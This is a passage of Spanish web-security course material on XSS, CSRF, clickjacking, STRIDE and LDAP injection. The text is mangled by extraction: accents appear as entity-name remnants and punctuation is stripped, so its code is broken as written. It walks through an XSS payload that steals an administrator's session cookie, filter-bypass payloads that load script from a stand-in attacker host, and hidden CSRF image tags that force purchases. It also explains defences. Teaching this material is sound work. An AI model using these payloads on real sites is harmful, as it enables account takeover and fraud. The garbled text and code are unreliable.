uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

